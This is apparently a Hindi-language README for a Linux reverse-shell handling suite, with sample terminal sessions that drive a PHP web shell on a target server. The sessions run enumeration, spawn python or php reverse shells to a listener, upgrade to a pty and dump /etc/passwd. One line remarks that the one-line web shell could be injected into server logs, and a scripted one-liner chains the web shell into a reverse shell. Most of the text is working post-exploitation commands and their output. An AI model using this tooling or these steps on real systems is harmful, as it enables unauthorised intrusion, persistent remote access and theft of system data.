
नेटिव शेल के भीतर काम करने के उद्देश्य से तैयार रिवर्स शेल हैंडलिंग सुइट
लिनक्स टूलसेट की शुरुआत जो रिवर्स शेल्स के प्रबंधन और इंटरफेसिंग के लिए है (कोड अभी भी जल्दबाजी और गंदी स्थिति में है, जिसमें बहुत कम अपवाद प्रबंधन है)। UNIX दर्शन से प्रबल प्रेरणा के साथ, मूल विचार यह है कि एक डेमन हो जो मनमाने एंडपॉइंट्स को संभालता है (connd, हालांकि यह अभी एक उचित डेमन नहीं है लेकिन एक अलग टर्मिनल में चल सकता है) और उन एंडपॉइंट्स के विरुद्ध टूल्स चलाता है।
एंडपॉइंट्स एक स्क्रिप्ट या प्रक्रिया द्वारा 'संचालित' होते हैं और फाइलसिस्टम में फाइलों के रूप में प्रदर्शित होते हैं, और फिर एक पतला सॉफ्टवेयर क्लाइंट उनके साथ इंटरैक्ट करने के लिए इस्तेमाल किया जा सकता है, लेकिन शेल कमांड का उपयोग करके उन्हें आसानी से लिखा और पढ़ा भी जा सकता है। वास्तव में, स्क्रिप्ट को शेल से स्वतंत्र रूप से चलाने में सक्षम होना एक प्रमुख डिज़ाइन कारक है, जहाँ आदर्श रूप से, एक स्क्रिप्ट अधिक से अधिक एक एंडपॉइंट के मौजूद होने पर निर्भर करेगी, लेकिन इसे संयोजन में भी इस्तेमाल किया जा सकता है (एक दूसरे में कैस्केड)।
वर्तमान एंडपॉइंट विकल्प हैं:
पतला सॉफ्टवेयर क्लाइंट (hthinc.py) सिस्टम के एंडपॉइंट के लिए एक बुनियादी इंटरफ़ेस प्रदान करता है, साथ ही सिस्टम पर जल्दी से स्क्रिप्ट चलाता है। कई बुनियादी लेकिन उपयोगी स्क्रिप्ट लिखी गई हैं:
रिवर्स शेल ड्राइवरों के प्रकार (यानी रिमोट सिस्टम पर शेल को क्या चला रहा है) निम्नलिखित हैं (वर्तमान में linux के लिए समर्थन):
अन्य स्क्रिप्ट्स:
connd को एक एंडपॉइंट शुरू करने के लिए कहें, दिए गए php स्क्रिप्ट के विरुद्ध वेज शेल ड्राइवर का उपयोग करते हुए जो स्वरूपित प्रतिक्रिया के साथ सिस्टम कॉल करता है। हालाँकि, यह एक-पंक्ति स्क्रिप्ट आसानी से सर्वर लॉग में कोड इंजेक्ट की जा सकती थी।
$ hconnd.py start wsh http://example.com/hwsh.php
1
इससे एंडपॉइंट 1 बन गया है (दो i/o पाइप -- आप उन्हें run उपनिर्देशिका में t1i और t1o के रूप में देख सकते हैं)। तो अब हम शेल के साथ इंटरैक्ट करने के लिए hthinc.py का उपयोग करते हैं।
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
हम जानते हैं कि यह एक Linux बॉक्स है। हम एक फँसी हुई वेब शेल से बाहर निकलकर एक उचित शेल प्राप्त करना चाहते हैं। अंतर्निहित कमांड !help चलाने से thinc सहायता संदेश मिलता है। हम एक स्क्रिप्ट sp चला सकते हैं जो स्वचालित रूप से रिमोट सिस्टम पर कमांड चलाएगी, वातावरण की एन्यूमरेशन करेगी, एक nc एंडपॉइंट शुरू करेगी, एक रिवर्स शेल स्पॉन करेगी और नए hthinc.py के माध्यम से स्वचालित रूप से ड्रॉप करेगी:
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
या यदि हम जानते हैं कि हम (उदाहरण के लिए) PHP को ड्राइवर के रूप में उपयोग कर रहे हैं, तो हम इसे निर्दिष्ट कर सकते हैं:
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
और मान लीजिए कि हमारे पास बिना TTY वाला शेल है या बाहर निकलना चाहते हैं, तो हम डिफ़ॉल्ट मैक्रोज़ में से एक चला सकते हैं:
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
इसके अलावा यदि हम किसी कमांड के आउटपुट को लॉग करना चाहते हैं, तो हम log स्क्रिप्ट का उपयोग कर सकते हैं जो इसे वर्तमान कार्यशील निर्देशिका में सहेज देगी:
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
जब एंडपॉइंट्स चल रहे हों, तो आप क्लाइंट्स को अटैच/डिटैच कर सकते हैं क्योंकि कनेक्शन प्रक्रियाओं का प्रबंधन डेमन द्वारा किया जाता है।
क्योंकि सब कुछ अधिक यूनिक्स-शैली में चलाया जा सकता है, हम शेल से तेज़ी से प्रक्रियाओं को दोहरा सकते हैं। हम एक वेबशेल एंडपॉइंट शुरू करते हैं, एंडपॉइंट आईडी प्राप्त करते हैं और फिर शेल से एंडपॉइंट के विरुद्ध sp.py स्पॉनर स्क्रिप्ट चलाते हैं (यह वही स्क्रिप्ट है जो hthinc.py में उपयोग की जाती है लेकिन एक अलग प्रवेश बिंदु के साथ)।
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
या एक-लाइनर के रूप में:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
और आसानी से स्वचालित करें:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
टूल hcmd.py आपको अपने शेल से एक एंडपॉइंट के माध्यम से तेज़ी से कमांड चलाने की अनुमति देता है।
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
और पाइप या रीडायरेक्ट परिणाम सामान्य रूप से करें
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500